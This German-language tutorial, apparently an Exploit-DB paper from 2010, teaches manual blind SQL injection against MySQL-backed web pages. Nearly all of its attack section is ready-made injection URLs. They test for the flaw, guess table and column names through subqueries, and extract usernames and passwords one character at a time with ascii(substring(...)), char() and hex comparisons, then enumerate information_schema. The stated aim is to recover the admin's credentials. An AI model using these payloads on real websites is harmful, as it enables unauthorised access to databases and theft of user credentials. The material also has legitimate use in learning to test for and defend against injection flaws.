[German] Blind SQL Injection

EDB-ID:

14627

CVE:

N/A

Author:

fred777

Type:

papers

Platform:

Multiple

Published:

2010-08-12

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

*******************************************************

#             WEBSECURITY DOCUMENTATION               #

#       --------------------------------------        #

#                 Blind SQL Injection                 #

#       --------------------------------------        #

#                                                     #

#                                                     #

#  written by fred777 [fred777.5x.to                  #

#                                                     #

******************************************************

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



--[0x00]-- Intro



--[0x01]-- Knowledge

   [1] Vuln Check

   [2] Blind



--[0x02]-- Exploiting

   [1] Substring

   [2] Subqueries

   [3] ASCII

   [4] Werte auslesen

   [5] CHAR

   [6] HEX

   [7] Information_schema



--[0x03]-- Finito



********************************************************

##################################################



--[0x00]-- Intro



Willkommen zu einem weiteren Tutorial über SQL-Injections von mir. Diesmal wird es

um Blind Injections gehen. Wir werden hier alles von Hand machen, doch zwingt euch keiner

nicht einfach Scripte zur Hand zu nehmen.



###########################################################



--[0x01]-- Knowledge



Bis jetzt hatten wir immer eine Ausgabe, wir verbanden den SELECT-Query mittels UNION

mit unserem SELECT-Query und killten das Resultat auf eine leere Menge, meistens mit einem

- oder einer nicht existierenden Zahl. Nun finden wir wieder einen Bug, welcher den Anschein

erweckt, dass sich der Query manipulieren lässt.



-------------------------------------------------------

 [1] Vuln Check

-------------------------------------------------------



www.seite.de/index.php?id=777  => Alles wird normal dargestellt

www.seite.de/index.php?id=777' => Die Seite wird nicht korrekt dargestellt



Man sollte bedenken, dass nicht in allen dieser Fälle eine Lücke besteht, das müssen wir ebenfalls

erst testen und zwar mittels eines Tricks, wir stellen dem Query eine mathematische Aufgabe, geht

er darauf ein und beantwortet diese ist er manipulierbar, ansonsten sollte keine Lücke vorhanden sein.

Die einfachste Aufgabe wird wohl sein 1=1, natürlich ist das wahr, also true, 1=0 ist falsch, also false

mit AND hängen wir unsere Aufgabe an den Query dran, das sollten wir noch aus Paper 1 kennen:



www.seite.de/index.php?id=777 and 1=1 => Alles wird korrekt dargestellt

www.seite.de/index.php?id=777 and 1=0 => Die Seite wird nicht korrekt dargestellt



Aha, der Query ist auf unsere Aufgabe eingegangen und hat mit "ja" und "nein" geantwortet.

Wo ich Leerzeichen verwenden, könnt ihr auch + oder /**/ verwenden, nebenbei könnte es

sein, dass ihr unnötigen Rest vom ersten Query entfernen müsst, dass könnt ihr mit einem Comment

machen, Je nach Query könnt es ebenfalls sein, dass ihr bei AND 1=1 das Hochkomma beibehalten

müsst, also:

www.seite.de/index.php?id=777' and 1=1-- f



Es heißt hier einfach ausprobieren, es sei denn euch liegen die Scripte vor, dann könnt ihr euch

die Datenbankabfrage anschauen.



-------------------------------------------------------

 [2] Blind

-------------------------------------------------------



Wie sind wir bisher vorgegangen, genau, wir haben mit ORDER BY die Columns gecheckt, also los



www.seite.de/index.php?id=777 order by 1   => Seite wird richtig dargestellt

www.seite.de/index.php?id=777 order by 7  => Seite wird richtig dargestellt

www.seite.de/index.php?id=777 order by 8  => Seite wird fehlerhaft dargestellt



Nun kennen wir auch schon das Spiel mit UNION und SELECT...



www.seite.de/index.php?id=777 union select 1,2,3,4,5,6,7-- f

Doch was ist das? Es erfolgt keine Ausgabe, auch wenn wir das Resultat des ersten Querys

ungültig machen:

www.seite.de/index.php?id=-657567567777 union select 1,2,3,4,5,6,7-- f



Jetzt sind wir an dem Punkt uns einen neuen Weg zu überlegen, erinnern wir uns nochmal an unsere

Rechenaufgabe, da hat der Query reagiert, könnten wir dann nicht auch fragen, ob das PW des Users

mit A, oder O anfängt? 



##################################################################



--[0x02]-- Exploiting



Richtig, und genau das werden wir versuchen, wir können wie auch bei einer normalen Injection, falls

die MySQL-Version 5 beträgt auf die Information_schema zugreifen, falls es Version 4 ist, müssen wir eben

raten, das auslesen aus information_schema mittels Blind kann sehr aufwendig werden, deshalb werden

gerne Scripte benutzt.



-------------------------------------------------------

 [1] Substring

-------------------------------------------------------



Um auf diese Art Werte auszulesen, benutzen wir eine neue Funktion, SUBSTRING:

Der Syntax lautet:

SUBSTRING(stringoderwort,start,länge)



stringoderwort ist unser String, start bestimmt die Rückgabe des ersten Wertes und länge bestimmt

wieviele Werte zurückgegeben werden ab start.

Uns würde also ausgegeben bei SUBSTRING(stringoderwort,4,3)   => ing

Nun, so können wir auch die Version bestimmen, sie fängt entwedern mit 4.x.x.x oder mit 5.x.x.x an

Also sagen wir, dass wir nur den ersten Wert haben möchte, da dieser entscheidend ist, die Version liegt

wie wir wissen unter 'version()' und die Abfrage gestalten wir wie vorher mit AND:

AND SUBSTRING(version(),1,1)=5



www.seite.de/index.php?id=777 AND SUBSTRING(version(),1,1)=4 => Seite wird nicht normal dargestellt

www.seite.de/index.php?id=777 AND SUBSTRING(version(),1,1)=5 => Seite wird normal dargestellt



Aha, folglich ist der erste Wert von version() eine 5 und somit können wir auf die

information_schema zugreifen..



-------------------------------------------------------

 [2] Subqueries

-------------------------------------------------------



Wie bei einer normalen Injection auch, möchten wir den User aus der Usertable haben.

Da wir sowieso mit Version 5 arbeiten, könnten wir die Information_schema Datenbank nutzen, 

was sehr lange dauern kann, oder wir fragen erstmal auf Gutglück, ob einige Namen existieren, wie

die Table 'users' z.B.

Dafür können wir Subqueries benutzen, d.h. wir fragen ob es wenn wir von der Table users etwas auswählen

true ergibt, dafür benutzen wir einen Query und setzen ihn gleich 1 (true). Wie bei der Mathematik werden

Klammern benutzt.

Wichtig, dies geht nur bei Version 4.1 oder größer. Bei älteren Versionen müsste man mit

Timecheck wie z.B. Benchmark arbeiten, was wesentlich komplizierter ist. Ich werde es wahrscheinlich

im nächsten Paper zeigen.



Nun aber zum Thema, erstmal testen wir es mit select, sollte select nicht funktionieren, steht

false gegen true und ist somit invalid.



www.seite.de/index.php?id=777 and (select 1)=1 => Seite wird normal dargestellt



Somit können wir mit einem subselect schonmal arbeiten, select 1 ist true und wird mit 1 verglichen,

was ebenfalls true ergibt.



www.seite.de/index.php?id=777 and (select 1 from user limit 0,1)=1 => Seite wird nicht richtig dargestellt



Also gibt es die Table 'user' schonmal nicht, versuchen wir es mit users:

Wichtig: limit ist hier erforderlich, da es sich um einen Subquery handelt, dieser gibt kann nur einen

Wert zurückgegeben, deshalb beschränken wir es auf limit 0,1!



www.seite.de/index.php?id=777 and (select 1 from users limit 0,1)=1 => Seite wird richtig dargestellt



Oh, users existiert schonmal, fehlen noch die zugehörigen Columns, schauen wir weiter, natürlich

könntet ihr jetzt auch mit WHERE und information_schema arbeiten:



www.seite.de/index.php?id=777 and (select substring(password,1,1) from users limit 0,1)=1 => Seite wird nicht richtig dargestellt

www.seite.de/index.php?id=777 and (select substring(pass,1,1) from users limit 0,1)=1 => Seite wird richtig dargestellt

www.seite.de/index.php?id=777 and (select substring(user,1,1) from users limit 0,1)=1 => Seite wird nicht richtig dargestellt

www.seite.de/index.php?id=777 and (select substring(username,1,1) from users limit 0,1)=1 => Seite wird richtig dargestellt



Ok, somit hätten wir durch raten die Table und die Columns, es ist zwar Version 5, doch ohne Script aus 

information_schema lesen ist sehr langwierig. Ich gehe später darauf ein, wie man es bei Bedarf trotzdem 

machen könnte.



-------------------------------------------------------

 [3] ASCII

-------------------------------------------------------



Nun, da wir die Namen der Tables und Columns haben, starten wir einen normalen Query mittels Substring, 

jetzt werden wir Wert für Wert auslesen und nicht mehr testen ob es nur existiert oder nicht. 

Fangen wir mit 'username' an.

------------------------

Wir werden beim Auslesen mit ASCII arbeiten, HEX ginge zwar auch, doch so finde ich es leichter..

ASCII ist eine Zeichencodierungsform welche mit 7 Bits arbeitet, für weitere Informationen, bitte selber Googlen.

Was wir brauchen werden ist eine ASCII-Tabelle, um die ausgelesenen ASCII-Werte in unsere Zeichen

umrechnet, so wie z.B. diese:

http://www.torsten-horn.de/techdocs/ascii.htm

So ist z.B. der ASCII-Wert 97 ein a

------------------------

Wir werden den ersten Wert des usernames jetzt auslesen, damit wir ascii-zeichen bekommen, benutzen wir ascii:

ASCII()

Nun brauchen wir für username unseren substring, welcher in ascii() hineinkommt, da wir jedes Zeichen einzeln

auslesen werden.

ascii(SUBSTRING())

Nun selektieren wir username:

ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))



Und zu letzt vergleichen wir mit unserem true/false-Verfahren das Resultat mit einem ASCII-Wert

Hierfür können wir >,< und = benutzen, wir fangen mit >1 an, da es immer true ergibt



-------------------------------------------------------

 [4] Werte auslesen

-------------------------------------------------------



www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))>1-- f  => true

Wir fragen also, ob der ersten Buchstabe vom ersten User aus 'users' größer ist als Ascii 1

Jetzt gehen wir höher und grenzen den Bereich ein:

www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))>100-- f  => false, er ist nicht größer

www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))>96-- f  => true, er ist größer

www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))<97-- f  => false, er ist nicht kleiner als 97

www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))=97-- f  => true, er ist gleich 97

Rechnen wir schnell um, ein a, also ist der erste Buchstabe vom username ein a



Wenn ihr den zweiten auslesen wollt, fangt ihr bei der zweiten Stelle an, bleibt aber bei der Länge 1, so macht ihr

per Hand weiter, bis der ASCII-Wert unter 32 liegt, hier kommen die Steuerzeichen und der String ist zu Ende.



www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),2,1))>100-- f

www.seite.de/index.php?id=777 and ascii(substring((SELECT username FROM users LIMIT 0,1),6,1))=31-- f => true, der String ist zu Ende

Der username heißt admin.

Das Gleiche macht ihr mit dem Passwort:

www.seite.de/index.php?id=777 and ascii(substring((SELECT pass FROM users LIMIT 0,1),1,1))>100-- f  => false, er ist nicht größer



-------------------------------------------------------

 [5] CHAR

-------------------------------------------------------



Eine andere Möglichkeit währe, anstatt ascii() die Funktion char() zu benutzen, das sähe dann so aus:

www.seite.de/index.php?id=777 and substring((SELECT pass FROM users LIMIT 0,1),1,1)>char(100)-- f  => false, er ist nicht größer



-------------------------------------------------------

 [6] HEX

-------------------------------------------------------



Auch mittels hex Codierung ist es kein Problem. Der Buchstabe wird simple in Hex umgewandelt.

www.seite.de/index.php?id=777 and substring((SELECT pass FROM users LIMIT 0,1),1,1)=0x41-- f  => false, falls nicht 'A'



-------------------------------------------------------

 [7] Information_schema

-------------------------------------------------------



So, wenn ihr aus der Information_schema table auslesen wollt, geht das genauso:



www.seite.de/index.php?id=777 and ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1))>1 

Schemata für Datenbanken



www.seite.de/index.php?id=777 and ascii(substring((select table_name from information_schema.columns limit 0,1),1,1))>1 

Table_name für Columns



www.seite.de/index.php?id=777 and ascii(substring((select column_name from information_schema.columns limit 0,1),1,1))>1 

Column_name für Columns



####################################################################################



--[0x03]-- Finito



Ok, das wars auch schon wieder, ich hoffe ich habe nichts vergessen zu erklären, und falls Fortgeschrittene sich fragen was mit

ifnull() oder if() ist, das erkläre ich in einem anderen Paper..

fred777.5x.to